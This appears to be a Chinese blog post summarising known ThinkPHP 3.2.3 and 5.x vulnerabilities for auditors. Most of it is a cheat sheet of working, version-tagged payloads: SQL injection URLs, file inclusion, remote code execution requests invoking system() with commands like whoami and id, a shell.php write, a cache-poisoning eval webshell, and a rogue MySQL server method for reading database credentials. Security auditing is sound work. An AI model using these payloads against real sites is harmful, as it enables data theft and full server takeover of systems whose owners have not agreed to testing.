ThinkPHP总结

说明

该文章来源于同事lu2ker转载至此处,更多文章可参考:https://github.com/lu2ker/


介绍:这是一篇tp的漏洞总结,以及一些自己遇到过或思考过的tricks,

查找漏洞建议直接页面搜索版本号,例如这些关键字:5.1、5.0、3.2


问题:如何判断TP版本?

  • 黑盒
    • 构造请求错误,如果目标错误管理不规范就可能显示tp版本信息
    • 请求App/Runtime/Logs/Home/22_05_12.log当天日志(tp3)
    • 请求runtime/log/202205/12.log当天日志(tp5)
  • 白盒
    • 全局搜索THINK_VERSION(tp3),或者VERSION(tp5)
    • 看控制器方法的写法:类似M(xxxx)这种用一个大写字母来实例化(tp3)
  • 开源的系统可以尝试去该系统的官网or站长下载这类源码站看系统介绍

问题:TP框架审计初始准备?

  • 全局搜索THINK_VERSION确定版本

  • 检查配置文件:

    • 是否默认开启debug模式
    • 是否有定义过滤器 default_filter
    • 检查路由配置,是否开启强制路由
    • 不熟悉建议通读配置文件配置项,都有注释。
  • 检查路由配置:

    • 通常在route.php,了解路由规则写法百度tp5开发手册即可
    • 改文件通常在application目录下
  • 鉴权的几种方式:

    • 继承鉴权类,通常为Comm命名的
    • 调用鉴权函数,通常定义在common.php或者function.php
  • 确定控制器是否需要渲染模板,如果需要模板但没有则访问报错

thinkphp5

注入类

不开启debug和trace,只开启show_error_msg显示错误信息也可尝试利用报错注入
利用条件:需要有注入的tp版本,或者是二开代码中有可控输入+直接拼接。
# 判断开启show_error_msg是否开启?
1. 请求一个不存在的控制器或方法,如/user/userabc/index.html
2. 关闭时只会提示:页面错误!请稍后再试~
	开启时会提示:控制器不存在:app\user\controller\Userabc
# 实际案例:kyxscms(基于TP5.1.33,虽然开启了show_error_msg但是没有利用条件,本人在某次项目中看到有基于kyxscms二开的一个系统符合“二开代码中有可控输入+直接拼接”这个条件。)
# 摘自吐司https://www.t00ls.com/viewthread.php?tid=65613
# 5.0.5左右的低版本
id=input("id");
data=db("users")->where("id",$id)->find();
# 版本:5.0.13<=ThinkPHP<=5.0.15、 5.1.0<=ThinkPHP<=5.1.5
payload:/public/index.php/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
# 代码:
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
# 分析:https://github.com/lu2ker/PHP-Code/blob/main/ThinkPHP5之SQLI审计分析(一).md
# 版本:ThinkPHP=5.0.10
payload:/public/index.php/index/index?username[0]=not like&username[1][0]=&username[1][1]=&username[2]=) union select 1,user()--+
# 代码:
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
# 分析:https://github.com/lu2ker/PHP-Code/blob/main/ThinkPHP5之SQLI审计分析(二).md
# 版本:ThinkPHP=5.1.22
payload:/public/index.php/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
# 代码:
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
# 分析:https://github.com/lu2ker/PHP-Code/blob/main/ThinkPHP5之SQLI审计分析(三).md
# 不同版本 payload 需稍作调整:
5.0.0~5.0.215.1.35.1.10 : id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
5.1.115.1.25 : id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
# 代码:
$options = request()->get('options');
$result = db('users')->max($options);
# 分析:https://github.com/lu2ker/PHP-Code/blob/main/ThinkPHP5之SQLI审计分析(四).md
# 注意有没有直接拼接
	$id=$this->request->param('id'); # 这里是直接用request->param,默认也没有过滤器。
	$result = Db::table('users')->where("id=". $id)->find(); # 没有以数组形式传入where导致注入,
   或者如:
   	$result = Db::table('users')->where("id = {$id}")->find(); 都是直接拼接没有以数组形式传入where导致注入。

getshell类

RCE的洞,黑盒测试的话直接上工具就行吧。

# 文件包含
# 版本:5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
payload:/index/index?cacheFile=1.jpg即可包含1.jpg
# 代码:
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
return $this->display(); //display方法也可以触发漏洞
# 分析:https://github.com/lu2ker/PHP-Code/blob/main/ThinkPHP5之文件包含审计分析(五).md
# 代码执行
# 不同版本 payload 需稍作调整:
# ThinkPHP <= 5.0.13:
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

# 分析:https://github.com/lu2ker/PHP-Code/blob/main/ThinkPHP5之任意方法调用RCE(六).md
# 代码执行5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30
# 不同版本 payload 需稍作调整:
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.22及以下 :
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
# 分析:https://github.com/lu2ker/PHP-Code/blob/main/ThinkPHP5漏洞分析之代码执行(七).md

5.0.X反序列化利用链

5.1.X 反序列化链子

5.2.X反序列化利用链

链子集合

推荐阅读:

挖掘暗藏ThinkPHP中的反序列利用链

thinkphp3.2.3

注入类

# exp注入
$id = $_GET['id'];
$Admin = D("admin");
$data = $Admin->where(['Id' => $id])->limit('2')->select();

# payload:?id[0]=exp&id[1]==1 UNION ALL SELECT 1,2,3
# 两个等号,没错。具体分析看这里
# https://github.com/lu2ker/PHP-Code/blob/main/ThinkPHP3之SQLI审计分析.md
# order by注入
$username=I("username");
$order=I("order");
$result= M('users')->where(array("username"=>$username))->order($order)->find();

# payload:username=admin&order[extractvalue(1,concat(0x7e,(select+database())))]
# 分析&实际案例:https://althims.com/2020/02/03/xyhcms-3-6/#xyhcms-v3-6-前台sql注入

下面这些摘自土司@H0ward

# 框架级漏洞
$id=I('post.id');
$list = M('system_skin')->find($id);//select() delect()都会有问题
# payload:
id[where]=1and
id[alias]=where 1 and
id[table]=users where 1 and

# save注入
$comdition["username"]=I("username");
$data["password"]=I("password");
$list = M('admin_user')->where($comdition)->save($data);
# payload:
username[0]=bind&username[1]=0+and(select+extractvalue(1,concat(0x7e,(select+database()))))&password=123   
# 其余要注意的点
# 注意在对象创建的时候有没有用过滤器,没有的话输入就可控了。
	$id = I('id', 0, 'intval'); # 这是用了整数过滤器获取参数id

开发中容易造成漏洞的写法

getshell类

  • 缓存getshell(<=3.2.3)
  • 啊实打实的
当使用了缓存函数写法如下时:
S($name,$data);Cache::set("name",I("get.username"));
总之就是传入缓存函数的两个参数,第一个参数可以知道值,第二个参数有可控的部分即可。
条件:一般都需要刷新缓存文件

一种利用方式:

1. 将恶意代码通过正常功能插入数据库,请求参数类似:username=%0A%24a%3deval(%24_POST%5b%27cmd%27%5d)%3b%2f%2f
2. 最好刷新一下缓存(by正常清理缓存功能)
3. 对使用了上述缓存函数写法`S($name,$data);` && `$data`中包含第一步中插入的恶意代码
4. 生成的缓存文件名为 MD5($name).php,请求即可。
  • 反序列化POC,利用方式为:

    • rogue_mysql_server开启一个恶意Mysql服务器,在配置文件中填入想要读取的文件,比如读取目标数据库配置文件拿到数据库账户密码;
    • POC里修改数据库配置为你的恶意mysql;
    • 发送序列化payload,恶意MySQL服务器可以读取到目标数据库配置文件内容;
    • 将POC中的数据库连接配置替换为目标的数据库配置,可修改需要注入的SQL语句,
    • 因为ThinkPHP v3.2.*默认使用的是PDO驱动来实现的数据库类,因为PDO默认是支持多语句查询的,所以这个点是可以堆叠注入的。也就是说这里可以使用导出数据库日志等手段实现Getshell,或者使用UPDATE语句插入数据进数据库内等操作。

    条件:目标数据库账户必须是root

    实际案例:XYHCMS前台反序列化

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jeromeyoung666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值